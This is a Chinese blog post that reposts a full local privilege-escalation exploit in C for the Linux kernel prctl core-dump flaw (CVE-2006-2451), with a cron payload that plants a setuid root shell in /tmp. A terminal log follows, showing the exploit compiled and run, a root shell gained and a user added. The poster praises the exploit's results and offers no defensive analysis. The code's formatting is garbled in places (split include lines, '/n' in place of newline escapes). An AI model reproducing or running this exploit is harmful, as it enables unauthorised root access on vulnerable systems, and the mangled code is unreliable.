Linux Kernel 2.6x 本地溢出代码 今天测试了一下,效果不错

/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    <luna@aditel.org>   (main PoC code)   */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#
include <sys/time.h>
#
include <sys/resource.h>
#
include <unistd.h>
#
include <linux/prctl.h>
#
include <stdlib.h>
#
include <sys/types.h>
#
include <signal.h>

char 
*payload="/nSHELL=/bin/sh/nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core/n";

int main() { 
    int child;
    struct rlimit corelimit;
    
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t/n");
    
printf("By: dreyer & RoMaNSoFt/n");
    
printf("[ 10.Jul.2006 ]/n/n");

    corelimit
.rlim_cur = RLIM_INFINITY;
    corelimit
.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE
, &corelimit);

    
printf("[*] Creating Cron entry/n");

    
if ( !( child = fork() )) {
        
chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE
, 2);
        
sleep(200);
        
exit(1);
    }

    kill(child
, SIGSEGV);

    
printf("[*] Sleeping for aprox. one minute (** please wait **)/n");
    
sleep(62);

    
printf("[*] Running shell (remember to remove /tmp/sh when finished) /n");
    
system("/tmp/sh -p");
}
 

 

 

运行测试:

[fred@fedora ~]$ uname -a
Linux fedora 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
[fred@fedora ~]$ id
uid=500(fred) gid=500(fred) groups=500(fred)
[fred@fedora ~]$ ls
amsn_received  Desktop  linux.bin  pics  rs_prctl_kernel.c  vmware
[fred@fedora ~]$ gcc -o rs_prctl_kernel rs_prctl_kernel.c
[fred@fedora ~]$ ls
amsn_received  Desktop  linux.bin  pics  rs_prctl_kernel  rs_prctl_kernel.c  vmware
[fred@fedora ~]$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

  • Creating Cron entry
  • Sleeping for aprox. one minute (** please wait **)
  • Running shell (remember to remove /tmp/sh when finished) ...
    sh-3.1# whoami
    root
    sh-3.1# id
    uid=500(fred) gid=500(fred) euid=0(root) groups=500(fred)
    sh-3.1# /usr/sbin/useradd test
    sh-3.1# exit
    exit
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值